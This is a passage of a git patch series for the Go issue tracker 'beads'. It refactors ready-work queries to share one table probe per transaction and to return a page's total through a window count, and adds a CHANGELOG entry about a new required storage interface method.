err) + } + return childIDs, nil +} + // getChildrenOfDeferredParentsInTx returns IDs of issues whose parent has a // future defer_until. Works within an existing transaction. // @@ -538,20 +600,9 @@ func getChildrenOfDeferredParentsInTx(ctx context.Context, tx DBTX) ([]string, e } var childIDs []string - for _, depTable := range []string{"dependencies", "wisp_dependencies"} { - for _, issueTable := range []string{"issues", "wisps"} { - targetCol := "depends_on_issue_id" - if issueTable == "wisps" { - targetCol = "depends_on_wisp_id" - } - rows, err := tx.QueryContext(ctx, fmt.Sprintf(` - SELECT dep.issue_id - FROM %s dep - JOIN %s parent ON parent.id = dep.%s - WHERE dep.type = 'parent-child' - AND parent.defer_until IS NOT NULL - AND parent.defer_until > UTC_TIMESTAMP() - `, depTable, issueTable, targetCol)) + for _, depTable := range deferredChildDepTables { + for _, issueTable := range deferredChildIssueTables { + rows, err := tx.QueryContext(ctx, deferredChildrenQuery(depTable, issueTable)) if err != nil { // This FROM names two tables at once, so the gate has to key on // which one the driver reports missing. The wisp plane is the diff --git a/internal/storage/issueops/ready_work_counts.go b/internal/storage/issueops/ready_work_counts.go index 37715469e..9b6e318d8 100644 --- a/internal/storage/issueops/ready_work_counts.go +++ b/internal/storage/issueops/ready_work_counts.go @@ -27,45 +27,94 @@ func readyHydrationFor(filter types.WorkFilter) sqlbuild.CountsHydration { return sqlbuild.CountsHydration{Lite: filter.Lite} } -func GetReadyWorkWithCountsInTx(ctx context.Context, tx *sql.Tx, filter types.WorkFilter) ([]*types.IssueWithCounts, error) { - wispDepsExist, err := optionalTableExistsInTx(ctx, tx, "wisp_dependencies") +// GetReadyWorkWithCountsInTx returns the ready-work page for filter, hydrated +// with counts. It is GetReadyWorkWithCountsAndTotalInTx without the total. +func GetReadyWorkWithCountsInTx(ctx context.Context, tx DBTX, filter types.WorkFilter) ([]*types.IssueWithCounts, error) { + items, _, err := getReadyWorkWithCountsInTx(ctx, tx, filter, false) + return items, err +} + +// GetReadyWorkWithCountsAndTotalInTx returns the ready-work page for filter +// together with the size of the whole ready set the page was cut from — +// identical to CountReadyWorkInTx(filter), and so to +// len(GetReadyWorkWithCountsInTx(filter with Limit=0)) — resolved inside the +// SAME statements that select the page. +// +// It exists because `bd ready --limit N` used to answer its "Showing N of M" +// with a second, separate pass (CountReadyWorkInTx in a new transaction, +// behind a second defer-wake sweep) that re-ran every probe and predicate the +// page had just run. Against a remote SQL server each statement is a +// sequential round trip, so asking for ONE row took longer than asking for +// all of them. Here the total rides the page's ID query as a window count +// (COUNT(*) OVER ()), evaluated over the full predicate before LIMIT, so a +// capped page costs no extra statement for its total. For an unbounded page +// (Limit <= 0) the total is simply the page's length. +// +// The two families are summed and their overlap (an ID ready as both an issue +// and a wisp, which the merge dedupes wisp-wins) subtracted, exactly as +// CountReadyWorkInTx does; the overlap statement runs only when the probe saw +// an ID present in both tables. +func GetReadyWorkWithCountsAndTotalInTx(ctx context.Context, tx DBTX, filter types.WorkFilter) ([]*types.IssueWithCounts, int, error) { + return getReadyWorkWithCountsInTx(ctx, tx, filter, true) +} + +func getReadyWorkWithCountsInTx(ctx context.Context, tx DBTX, filter types.WorkFilter, wantTotal bool) ([]*types.IssueWithCounts, int, error) { + // A capped page needs the collision fact to size the merged set; an + // unbounded one is its own total. + sized := wantTotal && filter.Limit > 0 + probe, err := probeReadyWorkInTx(ctx, tx, filter, sized) if err != nil { - return nil, fmt.Errorf("get ready work with counts: wisp dependency probe: %w", err) + return nil, 0, fmt.Errorf("get ready work with counts: %w", err) } - issuePreds, err := buildReadyWorkPredicates(ctx, tx, filter, IssuesFilterTables) + issuePreds, err := buildReadyWorkPredicatesFrom(filter, IssuesFilterTables, probe.inputs) if err != nil { - return nil, err + return nil, 0, err } - out, err := runReadyCountsInTx(ctx, tx, IssuesFilterTables, filter.Limit, issuePreds, wispDepsExist, readyHydrationFor(filter)) + out, issueTotal, err := runReadyCountsInTx(ctx, tx, IssuesFilterTables, filter.Limit, issuePreds, probe.wispDepsExist, readyHydrationFor(filter), sized) if err != nil { - return nil, err + return nil, 0, err } - empty, probeErr := wispsTableEmptyOrMissingInTx(ctx, tx) - if probeErr != nil { - return nil, fmt.Errorf("get ready work with counts: wisp probe: %w", probeErr) - } - if empty { - return finishReadyWorkWithCounts(out, filter) - } - if !wispDepsExist { - return finishReadyWorkWithCounts(out, filter) + finish := func(items []*types.IssueWithCounts, total int) ([]*types.IssueWithCounts, int, error) { + if !sized { + // Unbounded: every ready row is on the page (the MaxRows cap + // refuses rather than truncates), so the page IS the set. + total = len(items) + } + items, err := finishReadyWorkWithCounts(items, filter) + if err != nil { + return nil, 0, err + } + return items, total, nil } - wispPreds, err := buildReadyWorkPredicates(ctx, tx, filter, WispsFilterTables) - if err != nil { - return nil, err + if !probe.readsWisps() { + return finish(out, issueTotal) } - wisps, err := runReadyCountsInTx(ctx, tx, WispsFilterTables, filter.Limit, wispPreds, true, readyHydrationFor(filter)) + + wispPreds, err := buildReadyWorkPredicatesFrom(filter, WispsFilterTables, probe.inputs) + if err != nil { + return nil, 0, err + } + wisps, wispTotal, err := runReadyCountsInTx(ctx, tx, WispsFilterTables, filter.Limit, wispPreds, true, readyHydrationFor(filter), sized) if err != nil { if missingOptionalWispTable(err) { - return finishReadyWorkWithCounts(out, filter) + return finish(out, issueTotal) } - return nil, err + return nil, 0, err } if len(wisps) == 0 { - return finishReadyWorkWithCounts(out, filter) + return finish(out, issueTotal) + } + + total := issueTotal + wispTotal + if sized && probe.idCollision && issueTotal > 0 { + overlap, err := countReadyOverlapInTx(ctx, tx, issuePreds, wispPreds) + if err != nil { + return nil, 0, fmt.Errorf("get ready work with counts: overlap: %w", err) + } + total -= overlap } // Prefer the canonical wisp record when an ID exists in both tables (be-iabdi). @@ -87,7 +136,7 @@ func GetReadyWorkWithCountsInTx(ctx context.Context, tx *sql.Tx, filter types.Wo } kept = append(kept, wisps...) sortIssuesWithCountsByPolicy(kept, filter.SortPolicy) - return finishReadyWorkWithCounts(kept, filter) + return finish(kept, total) } // finishReadyWorkWithCounts is the terminal hook every @@ -144,6 +193,14 @@ func finishReadyWorkWithCounts(items []*types.IssueWithCounts, filter types.Work // For limit <= 0 (unbounded) there is no page to push down, so it runs the // predicate-form mega-query unchanged. // +// withTotal (bounded pages only) also returns the number of rows the family's +// ready predicate admits, as a window count over the same ID query: +// COUNT(*) OVER () is evaluated over every row the WHERE admits, before ORDER +// BY … LIMIT cut the page, so it is exactly `SELECT COUNT(*) … WHERE` — the +// count CountReadyWorkInTx takes — at no extra statement. The ID query has no +// DISTINCT, so the window counts rows and IDs alike. Otherwise the returned +// total is len(result). +// // Both callers pass readyHydrationFor(filter), which carries Lite and nothing // else: ready work always hydrates labels and cardinalities, because // types.WorkFilter carries neither opt-out — the projection that builds it @@ -151,18 +208,28 @@ func finishReadyWorkWithCounts(items []*types.IssueWithCounts, filter types.Work // SkipLabels and SkipCounts are not carried onto the ReadyFlag arm. // //nolint:gosec // G201: whereSQL/orderBySQL/limitSQL are hardcoded fragments; user input rides ? placeholders. -func runReadyCountsInTx(ctx context.Context, tx *sql.Tx, tables FilterTables, limit int, preds *readyWorkPredicates, includeWispReverseDeps bool, hyd sqlbuild.CountsHydration) ([]*types.IssueWithCounts, error) { +func runReadyCountsInTx(ctx context.Context, tx DBTX, tables FilterTables, limit int, preds *readyWorkPredicates, includeWispReverseDeps bool, hyd sqlbuild.CountsHydration, withTotal bool) ([]*types.IssueWithCounts, int, error) { if limit <= 0 { - return runSearchQueryInTx(ctx, tx, tables, preds.whereSQL, preds.orderBySQL, preds.limitSQL, preds.args, includeWispReverseDeps, hyd) + out, err := runSearchQueryInTx(ctx, tx, tables, preds.whereSQL, preds.orderBySQL, preds.limitSQL, preds.args, includeWispReverseDeps, hyd) + return out, len(out), err } - idQuery := fmt.Sprintf("SELECT id FROM %s %s %s %s", tables.Main, preds.whereSQL, preds.orderBySQL, preds.limitSQL) - pageIDs, err := queryReadyIssueIDPage(ctx, tx, idQuery, preds.args) + var pageIDs []string + var total int + var err error + if withTotal { + idQuery := fmt.Sprintf("SELECT id, COUNT(*) OVER () FROM %s %s %s %s", tables.Main, preds.whereSQL, preds.orderBySQL, preds.limitSQL) + pageIDs, total, err = queryReadyIDPageWithTotal(ctx, tx, idQuery, preds.args) + } else { + idQuery := fmt.Sprintf("SELECT id FROM %s %s %s %s", tables.Main, preds.whereSQL, preds.orderBySQL, preds.limitSQL) + pageIDs, err = queryReadyIssueIDPage(ctx, tx, idQuery, preds.args) + total = len(pageIDs) + } if err != nil { - return nil, err + return nil, 0, err } if len(pageIDs) == 0 { - return nil, nil + return nil, 0, nil } // Hydrate the counts for the resolved page, chunking the IN-list. The page @@ -176,7 +243,7 @@ func runReadyCountsInTx(ctx context.Context, tx *sql.Tx, tables FilterTables, li countsSQL, idArgs := sqlbuild.SearchCountsSQL(tables, pageIDs[start:end], "", "", "", includeWispReverseDeps, hyd) rows, scanErr := scanCountsRowsInTx(ctx, tx, tables.Main, countsSQL, idArgs, hyd) if scanErr != nil { - return nil, scanErr + return nil, 0, scanErr } for _, r := range rows { if r != nil && r.Issue != nil { @@ -193,60 +260,92 @@ func runReadyCountsInTx(ctx context.Context, tx *sql.Tx, tables FilterTables, li ordered = append(ordered, r) } } - return ordered, nil + return ordered, total, nil +} + +// queryReadyIDPageWithTotal runs a `SELECT id, COUNT(*) OVER () …` page query +// and returns the page IDs with the window total. An empty page carries no +// row to read the total from, and means the predicate admitted nothing. +func queryReadyIDPageWithTotal(ctx context.Context, tx DBTX, query string, args []interface{}) ([]string, int, error) { + rows, err := tx.QueryContext(ctx, query, args...) + if err != nil { + return nil, 0, fmt.Errorf("failed to get ready work: %w", err) + } + defer func() { _ = rows.Close() }() + + var ids []string + var total int64 + for rows.Next() { + var id string + if err := rows.Scan(&id, &total); err != nil { + return nil, 0, fmt.Errorf("get ready work: scan id: %w", err) + } + ids = append(ids, id) + } + if err := rows.Err(); err != nil { + return nil, 0, fmt.Errorf("get ready work: rows: %w", err) + } + return ids, int(total), nil } // CountReadyWorkInTx returns the number of ready-work items — identical to // len(GetReadyWorkWithCountsInTx(filter with Limit=0)) — without materializing // the counts mega-query. The ready set is a union of the issues and wisps that -// match the ready predicate, so it sizes each family with a single indexed -// COUNT(*) over that predicate and subtracts the overlap (IDs present in both -// ready sets, which GetReadyWorkWithCountsInTx dedupes wisp-wins). It never -// re-runs the mega-query, so a single wisp no longer disables the fast path. -// This backs the "Showing X of N" total `bd ready` prints when the page is -// capped. -func CountReadyWorkInTx(ctx context.Context, tx *sql.Tx, filter types.WorkFilter) (int, error) { +// match the ready predicate, so it sizes each family with an indexed COUNT(*) +// over that predicate and subtracts the overlap (IDs present in both ready +// sets, which GetReadyWorkWithCountsInTx dedupes wisp-wins). It never re-runs +// the mega-query, so a single wisp no longer disables the fast path. +// +// Statement budget: the shared probe (one statement; plus one for the +// deferred-parent children when a future-deferred parent exists), then both +// family counts in ONE statement of scalar subqueries, then the overlap only +// when the probe saw an ID present in both tables. `bd ready` itself sizes a +// capped --json page in-band (GetReadyWorkWithCountsAndTotalInTx); this backs +// the ReadyCounter role and the human-readable "Showing X of N". +func CountReadyWorkInTx(ctx context.Context, tx DBTX, filter types.WorkFilter) (int, error) { countFilter := filter countFilter.Limit = 0 - wispDepsExist, err := optionalTableExistsInTx(ctx, tx, "wisp_dependencies") + probe, err := probeReadyWorkInTx(ctx, tx, countFilter, true) if err != nil { - return 0, fmt.Errorf("count ready work: wisp dependency probe: %w", err) + return 0, fmt.Errorf("count ready work: %w", err) } - issuePreds, err := buildReadyWorkPredicates(ctx, tx, countFilter, IssuesFilterTables) + issuePreds, err := buildReadyWorkPredicatesFrom(countFilter, IssuesFilterTables, probe.inputs) if err != nil { return 0, err } - issueCount, err := countReadyPredicateInTx(ctx, tx, "issues", issuePreds.whereSQL, issuePreds.whereArgs) - if err != nil { - return 0, fmt.Errorf("count ready work: issues: %w", err) - } // Mirror GetReadyWorkWithCountsInTx's wisp gating: an empty/missing wisps // table or absent wisp_dependencies means the ready set is issues-only. - empty, err := wispsTableEmptyOrMissingInTx(ctx, tx) - if err != nil { - return 0, fmt.Errorf("count ready work: wisp probe: %w", err) - } - if empty || !wispDepsExist { + if !probe.readsWisps() { + issueCount, err := countReadyPredicateInTx(ctx, tx, "issues", issuePreds.whereSQL, issuePreds.whereArgs) + if err != nil { + return 0, fmt.Errorf("count ready work: issues: %w", err) + } return issueCount, nil } - wispPreds, err := buildReadyWorkPredicates(ctx, tx, countFilter, WispsFilterTables) + wispPreds, err := buildReadyWorkPredicatesFrom(countFilter, WispsFilterTables, probe.inputs) if err != nil { return 0, err } - wispCount, err := countReadyPredicateInTx(ctx, tx, "wisps", wispPreds.whereSQL, wispPreds.whereArgs) + issueCount, wispCount, err := countReadyFamiliesInTx(ctx, tx, issuePreds, wispPreds) if err != nil { - if missingOptionalWispTable(err) { - return issueCount, nil + if !missingOptionalWispTable(err) { + return 0, fmt.Errorf("count ready work: %w", err) + } + // A wisp plane the database may legitimately lack: issues-only, and + // the issues count has to be taken on its own. + issueCount, err = countReadyPredicateInTx(ctx, tx, "issues", issuePreds.whereSQL, issuePreds.whereArgs) + if err != nil { + return 0, fmt.Errorf("count ready work: issues: %w", err) } - return 0, fmt.Errorf("count ready work: wisps: %w", err) - } - if wispCount == 0 { return issueCount, nil } + if wispCount == 0 || issueCount == 0 || !probe.idCollision { + return issueCount + wispCount, nil + } overlap, err := countReadyOverlapInTx(ctx, tx, issuePreds, wispPreds) if err != nil { @@ -255,12 +354,29 @@ func CountReadyWorkInTx(ctx context.Context, tx *sql.Tx, filter types.WorkFilter return issueCount + wispCount - overlap, nil } +// countReadyFamiliesInTx counts both families' ready rows in one statement of +// two scalar subqueries (portable: no FROM-less dialect extension beyond +// SELECT of subqueries, which every supported backend accepts). +// +//nolint:gosec // G201: whereSQL fragments are hardcoded; user input rides ? placeholders. +func countReadyFamiliesInTx(ctx context.Context, tx DBTX, issuePreds, wispPreds *readyWorkPredicates) (int, int, error) { + q := fmt.Sprintf("SELECT (SELECT COUNT(*) FROM issues %s), (SELECT COUNT(*) FROM wisps %s)", issuePreds.whereSQL, wispPreds.whereSQL) + args := make([]interface{}, 0, len(issuePreds.whereArgs)+len(wispPreds.whereArgs)) + args = append(args, issuePreds.whereArgs...) + args = append(args, wispPreds.whereArgs...) + var issues, wisps int + if err := tx.QueryRowContext(ctx, q, args...).Scan(&issues, &wisps); err != nil { + return 0, 0, err + } + return issues, wisps, nil +} + // countReadyPredicateInTx counts the rows in one table family that match the // ready predicate. whereSQL already begins with "WHERE " and whereArgs binds // only its placeholders (no ORDER BY params). // //nolint:gosec // G201: whereSQL is hardcoded fragments; user input rides ? placeholders. -func countReadyPredicateInTx(ctx context.Context, tx *sql.Tx, table, whereSQL string, whereArgs []interface{}) (int, error) { +func countReadyPredicateInTx(ctx context.Context, tx DBTX, table, whereSQL string, whereArgs []interface{}) (int, error) { var n int if err := tx.QueryRowContext(ctx, fmt.Sprintf("SELECT COUNT(*) FROM %s %s", table, whereSQL), whereArgs...).Scan(&n); err != nil { return 0, err @@ -273,7 +389,7 @@ func countReadyPredicateInTx(ctx context.Context, tx *sql.Tx, table, whereSQL st // the issue row for such an ID, so |ready| = issueCount + wispCount - overlap. // //nolint:gosec // G201: whereSQL fragments are hardcoded; user input rides ? placeholders. -func countReadyOverlapInTx(ctx context.Context, tx *sql.Tx, issuePreds, wispPreds *readyWorkPredicates) (int, error) { +func countReadyOverlapInTx(ctx context.Context, tx DBTX, issuePreds, wispPreds *readyWorkPredicates) (int, error) { q := fmt.Sprintf("SELECT COUNT(*) FROM issues %s AND id IN (SELECT id FROM wisps %s)", issuePreds.whereSQL, wispPreds.whereSQL) args := make([]interface{}, 0, len(issuePreds.whereArgs)+len(wispPreds.whereArgs)) args = append(args, issuePreds.whereArgs...) diff --git a/internal/storage/issueops/ready_work_probe.go b/internal/storage/issueops/ready_work_probe.go new file mode 100644 index 000000000..9ed77af0c --- /dev/null +++ b/internal/storage/issueops/ready_work_probe.go @@ -0,0 +1,156 @@ +package issueops + +import ( + "context" + "fmt" + "strings" + + "github.com/steveyegge/beads/internal/storage/sqlbuild" + "github.com/steveyegge/beads/internal/types" +) + +// readyWorkProbe holds the per-transaction facts every leg of a ready read +// consults: which optional wisp-plane tables exist and hold rows, and the ID +// sets the ready predicate is rendered from. A ready read renders the +// predicate for two table families (issues, wisps) and — for a capped page — +// sizes the whole set as well; each of those used to re-derive these facts +// with its own statements. Against a remote SQL server every statement is a +// sequential round trip, so the facts are resolved ONCE per transaction here +// and shared by every leg. +type readyWorkProbe struct { + // wispsPresent: the wisps table exists and holds at least one row. False + // means the ready set is issues-only (wispsTableEmptyOrMissingInTx). + wispsPresent bool + // wispDepsExist: the wisp_dependencies table exists + // (optionalTableExistsInTx). The counts mega-query joins it, so the wisp + // family is only read when it does. + wispDepsExist bool + // idCollision: some ID exists in both issues and wisps. Only then can the + // two ready sets overlap, so only then does sizing the merged set need the + // overlap count. Probed only when the caller sizes the set; conservatively + // true whenever it was not probed exactly. + idCollision bool + // inputs are the ID sets the ready WHERE clause is rendered from + // (children of future-deferred parents, descendants of filter.ParentID), + // shared by both families. + inputs sqlbuild.ReadyWorkWhereInputs +} + +const futureDeferredPredicate = "defer_until IS NOT NULL AND defer_until > UTC_TIMESTAMP()" + +// probeReadyWorkInTx resolves a readyWorkProbe for filter. +// +// The existence facts are answered by ONE statement of EXISTS subqueries, +// which is portable across every SQL dialect the shared issueops code runs on +// (no window functions, no FROM-less dialect quirks beyond a SELECT of +// scalar subqueries). EXISTS rather than COUNT so each leg stops at its first +// row. +// +// A pre-migration database may legitimately lack the wisp plane, and a single +// statement cannot tolerate one missing table while reading the rest, so a +// missing-table failure falls back to the per-table probes — the exact +// statements, tolerances and error classification these facts were always +// resolved with. +// +// wantCollision asks for the issues/wisps ID-collision fact, which only a +// caller sizing the merged ready set needs. +func probeReadyWorkInTx(ctx context.Context, tx DBTX, filter types.WorkFilter, wantCollision bool) (*readyWorkProbe, error) { + p := &readyWorkProbe{} + excludeDeferred := !filter.IncludeDeferred + + cols := []string{ + "EXISTS (SELECT 1 FROM wisps)", + // Only the table REFERENCE matters here: the statement fails with a + // missing-table error when wisp_dependencies is absent, and an empty + // table still exists (optionalTableExistsInTx's contract). The value + // is not read. + "EXISTS (SELECT 1 FROM wisp_dependencies)", + } + if excludeDeferred { + cols = append(cols, + "EXISTS (SELECT 1 FROM issues WHERE "+futureDeferredPredicate+")", + "EXISTS (SELECT 1 FROM wisps WHERE "+futureDeferredPredicate+")") + } + if wantCollision { + cols = append(cols, "EXISTS (SELECT 1 FROM issues JOIN wisps ON wisps.id = issues.id)") + } + flags := make([]bool, len(cols)) + dest := make([]any, len(cols)) + for i := range flags { + dest[i] = &flags[i] + } + + hasDeferredParent := false + err := tx.QueryRowContext(ctx, "SELECT "+strings.Join(cols, ", ")).Scan(dest...) + switch { + case err == nil: + p.wispsPresent = flags[0] + // The statement ran, so every table it names exists. + p.wispDepsExist = true + next := 2 + if excludeDeferred { + hasDeferredParent = flags[2] || flags[3] + next = 4 + } + // Without a wisp row there is nothing to collide with. + p.idCollision = wantCollision && p.wispsPresent && flags[next] + if hasDeferredParent { + // Every table the child scan reads is known to exist, so its + // four legs can go out as one statement. + children, dcErr := getDeferredChildrenAllTablesInTx(ctx, tx) + if dcErr != nil { + return nil, fmt.Errorf("compute deferred parent children: %w", dcErr) + } + p.inputs.DeferredChildIDs = children + } + case isTableNotExistError(err): + if err := p.probeTableByTableInTx(ctx, tx, excludeDeferred); err != nil { + return nil, err + } + // Not probed exactly; assume the worst so a total is never + // under-corrected. + p.idCollision = wantCollision && p.wispsPresent + default: + return nil, fmt.Errorf("ready probe: %w", err) + } + + // Parent filtering: all transitive descendants of parentID (GH#3396). + if filter.ParentID != nil { + descendantIDs, descErr := GetDescendantIDsInTx(ctx, tx, *filter.ParentID, 0) + if descErr != nil { + return nil, fmt.Errorf("get parent descendants: %w", descErr) + } + p.inputs.ParentDescendantIDs = descendantIDs + } + return p, nil +} + +// probeTableByTableInTx is the per-table fallback for a database missing part +// of the wisp plane. +func (p *readyWorkProbe) probeTableByTableInTx(ctx context.Context, tx DBTX, excludeDeferred bool) error { + wispDepsExist, err := optionalTableExistsInTx(ctx, tx, "wisp_dependencies") + if err != nil { + return fmt.Errorf("wisp dependency probe: %w", err) + } + p.wispDepsExist = wispDepsExist + empty, err := wispsTableEmptyOrMissingInTx(ctx, tx) + if err != nil { + return fmt.Errorf("wisp probe: %w", err) + } + p.wispsPresent = !empty + if excludeDeferred { + children, err := getChildrenOfDeferredParentsInTx(ctx, tx) + if err != nil { + return fmt.Errorf("compute deferred parent children: %w", err) + } + p.inputs.DeferredChildIDs = children + } + return nil +} + +// readsWisps reports whether the wisp family takes part in the ready set: +// GetReadyWorkWithCountsInTx has always read it only when the wisps table has +// rows and wisp_dependencies exists. +func (p *readyWorkProbe) readsWisps() bool { + return p.wispsPresent && p.wispDepsExist +} diff --git a/internal/storage/issueops/search_counts.go b/internal/storage/issueops/search_counts.go index 45d51a7f0..0cd72d4fe 100644 --- a/internal/storage/issueops/search_counts.go +++ b/internal/storage/issueops/search_counts.go @@ -142,7 +142,7 @@ func runFilterSearchQueryInTx(ctx context.Context, tx *sql.Tx, query string, fil } //nolint:gosec // G201: SQL fragments are caller-built from hardcoded shapes -func runSearchQueryInTx(ctx context.Context, tx *sql.Tx, tables FilterTables, whereSQL, orderBySQL, limitSQL string, args []interface{}, includeWispReverseDeps bool, hyd sqlbuild.CountsHydration) ([]*types.IssueWithCounts, error) { +func runSearchQueryInTx(ctx context.Context, tx DBTX, tables FilterTables, whereSQL, orderBySQL, limitSQL string, args []interface{}, includeWispReverseDeps bool, hyd sqlbuild.CountsHydration) ([]*types.IssueWithCounts, error) { searchSQL, _ := sqlbuild.SearchCountsSQL(tables, nil, whereSQL, orderBySQL, limitSQL, includeWispReverseDeps, hyd) return scanCountsRowsInTx(ctx, tx, tables.Main, searchSQL, args, hyd) } @@ -153,7 +153,7 @@ func runSearchQueryInTx(ctx context.Context, tx *sql.Tx, tables FilterTables, wh // ready-counts path. // //nolint:gosec // G201: query is builder-produced; user input rides ? placeholders. -func scanCountsRowsInTx(ctx context.Context, tx *sql.Tx, mainTable, query string, args []interface{}, hyd sqlbuild.CountsHydration) ([]*types.IssueWithCounts, error) { +func scanCountsRowsInTx(ctx context.Context, tx DBTX, mainTable, query string, args []interface{}, hyd sqlbuild.CountsHydration) ([]*types.IssueWithCounts, error) { rows, err := tx.QueryContext(ctx, query, args...) if err != nil { return nil, fmt.Errorf("search count %s: %w", mainTable, err) diff --git a/internal/storage/issueops/wisp_routing.go b/internal/storage/issueops/wisp_routing.go index 729a5ffd9..69583305d 100644 --- a/internal/storage/issueops/wisp_routing.go +++ b/internal/storage/issueops/wisp_routing.go @@ -38,7 +38,7 @@ func wispsTableEmptyOrMissingInTx(ctx context.Context, tx DBTX) (bool, error) { } //nolint:gosec // table is selected by callers from fixed optional wisp tables. -func optionalTableExistsInTx(ctx context.Context, tx *sql.Tx, table string) (bool, error) { +func optionalTableExistsInTx(ctx context.Context, tx DBTX, table string) (bool, error) { var probe int err := tx.QueryRowContext(ctx, fmt.Sprintf("SELECT 1 FROM %s LIMIT 1", table)).Scan(&probe) switch { diff --git a/internal/storage/storage.go b/internal/storage/storage.go index 5f0f4321e..52e7aafad 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -411,6 +411,12 @@ type Storage interface { // Work queries GetReadyWork(ctx context.Context, filter types.WorkFilter) ([]*types.Issue, error) GetReadyWorkWithCounts(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, error) + // GetReadyWorkWithCountsAndTotal is GetReadyWorkWithCounts plus the size + // of the whole ready set the page was cut from — the same number + // ReadyWorkCounter.CountReadyWork(filter) answers — resolved in the same + // read transaction and statements as the page. It is what lets + // `bd ready --limit N` print "Showing N of M" without a second pass. + GetReadyWorkWithCountsAndTotal(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, int, error) GetBlockedIssues(ctx context.Context, filter types.WorkFilter) ([]*types.BlockedIssue, error) GetEpicsEligibleForClosure(ctx context.Context) ([]*types.EpicStatus, error) diff --git a/internal/telemetry/storage.go b/internal/telemetry/storage.go index dbbf9c7c3..477bf551e 100644 --- a/internal/telemetry/storage.go +++ b/internal/telemetry/storage.go @@ -428,6 +428,16 @@ func (s *InstrumentedStorage) GetReadyWorkWithCounts(ctx context.Context, filter return v, err } +func (s *InstrumentedStorage) GetReadyWorkWithCountsAndTotal(ctx context.Context, filter types.WorkFilter) ([]*types.IssueWithCounts, int, error) { + ctx, span, t := s.op(ctx, "GetReadyWorkWithCountsAndTotal") + v, total, err := s.inner.GetReadyWorkWithCountsAndTotal(ctx, filter) + if err == nil { + span.SetAttributes(attribute.Int("bd.result.count", len(v))) + } + s.done(ctx, span, t, err) + return v, total, err +} + func (s *InstrumentedStorage) GetBlockedIssues(ctx context.Context, filter types.WorkFilter) ([]*types.BlockedIssue, error) { ctx, span, t := s.op(ctx, "GetBlockedIssues") v, err := s.inner.GetBlockedIssues(ctx, filter) From a1bc167b54922b7a3953b23d4427aa7fb46409fc Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 25 Sep 2026 13:53:47 -0700 Subject: [PATCH 074/624] fix(ready): keep the ReadyCounter span through externaldeps, and announce the interface break (#6748) Maintainer review fixups for #6731. The review found no blocker and no major; these are its two gate-impact minors plus two nearby nits. - externaldeps.Store.ReadyCounter built a fresh store-backed counter, so the documented storage.ReadyCounter.CountReady span stopped being emitted for every text-mode `bd ready` in the cmd/bd chain (hooks -> externaldeps -> telemetry -> store). PR-introduced: at base this decorator had no ReadyCounter at all, so the embedded passthrough reached the instrumented layer -- and this PR edits the very otel document that lists the span. The accessor cannot simply recurse, because the exclusions live on this store, so it now hands the finished counter to the inner store's WrapReadyCounter, which telemetry already exported for exactly this case and had no caller for. Pinned by TestExternalDepsReadyCounterSurvivesThisLayer, which fails with the old body (verified by reverting it). - CHANGELOG: GetReadyWorkWithCountsAndTotal is a new REQUIRED storage.Storage method with no optional-interface fallback, so an out-of-tree `backends` registrant stops compiling on upgrade. The entry names the method, the contract an implementer owes, and why the compile-time posture is deliberate. - The ready probe's facts now record each index as its column is appended. Two conditional columns were read back through a mix of literals and a computed `next`, so the two conventions disagreed inside one function and a future column inserted above would silently mis-read a different fact. Behavior-identical; the four excludeDeferred x wantCollision combinations are covered by the embedded filter matrix. - The combined family count wraps as `count ready work: issues+wisps:`, so it is distinguishable from the issues-only retry beneath it, and storereadycounter's package doc no longer claims only two importers. Validation: go build ./...; go vet and go test on issueops, externaldeps, telemetry; BEADS_TEST_EMBEDDED_DOLT=1 TestReadyWorkPageTotal, TestReadyWorkPageTotalFilterMatrix, TestReadyWorkStatementBudget (embeddeddolt) and TestEmbeddedReady (cmd/bd). Co-authored-by: Claude Opus 5 --- CHANGELOG.md | 28 +++++++++++ internal/storage/externaldeps/decorator.go | 25 +++++++++- .../storage/issueops/ready_work_counts.go | 5 +- internal/storage/issueops/ready_work_probe.go | 46 ++++++++++++------- .../telemetry/role_accessor_decorator_test.go | 31 +++++++++++++ internal/workapi/storereadycounter/counter.go | 13 ++++-- 6 files changed, 126 insertions(+), 22 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 55232ef9d..8e7fd405f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -253,6 +253,34 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 of its own. Unsetting a key that is not set remains a successful no-op in every shape. +### Changed + +- **`bd ready --json` answers a capped page and its total in one pass, and + `storage.Storage` gains a required `GetReadyWorkWithCountsAndTotal` method** + ([#6731](https://github.com/gastownhall/beads/pull/6731)). A full capped page + used to trigger a second counting pass in its own transaction, re-running the + expired-defer sweep and every wisp/deferred probe; the total now comes from + `COUNT(*) OVER ()` on the page's own query inside the same read transaction. + Two behaviors improve with it: the `--json` total honors external-dependency + exclusions (the old second pass counted externally blocked issues, so text and + `--json` could report different numbers), and the page and its total now come + from one snapshot instead of two, so "Showing N of M" can no longer be + internally inconsistent under concurrent writes. One contract change: a total + that fails now fails the command, where it previously could not — the total is + taken from the page's own query, so the page would have failed anyway. + + **Out-of-tree storage backends must implement the new method to compile.** + Every in-tree implementer is updated, but `internal/storage/backends` is an + extension seam whose registrants are supplied by a downstream distribution and + return `storage.DoltStorage` directly. A registrant must implement + `GetReadyWorkWithCountsAndTotal(ctx, types.WorkFilter) ([]*types.IssueWithCounts, int, error)`: + the page identical to `GetReadyWorkWithCounts`, and the total identical to the + number `CountReadyWork` answers for the same filter (which ignores `Limit`), + resolved in the page's own read transaction. There is + deliberately no optional-interface fallback — a store that cannot size the + ready set should fail to compile rather than silently fall back to an + unbounded query. + ## [1.3.0] - 2026-09-15 The first tested release off `main` since the 1.1 line. [1.2.2] was a recovery diff --git a/internal/storage/externaldeps/decorator.go b/internal/storage/externaldeps/decorator.go index b9ac2c545..721974eeb 100644 --- a/internal/storage/externaldeps/decorator.go +++ b/internal/storage/externaldeps/decorator.go @@ -236,8 +236,31 @@ func (s *Store) CountReadyWork(ctx context.Context, filter types.WorkFilter) (in // GetReadyWorkWithCountsAndTotal. It must be overridden here: the embedded // passthrough would hand back the inner store's counter, which counts // externally blocked issues as ready. +// +// Overriding costs the layers beneath their turn, though, and this accessor +// cannot simply recurse the way IssueLifecycle above does: the exclusions live +// on THIS store, so the counter has to be built over it. The inner store gets +// its layer back by wrapping the finished counter — which is what +// telemetry.InstrumentedStorage.WrapReadyCounter exists for, and why the +// documented 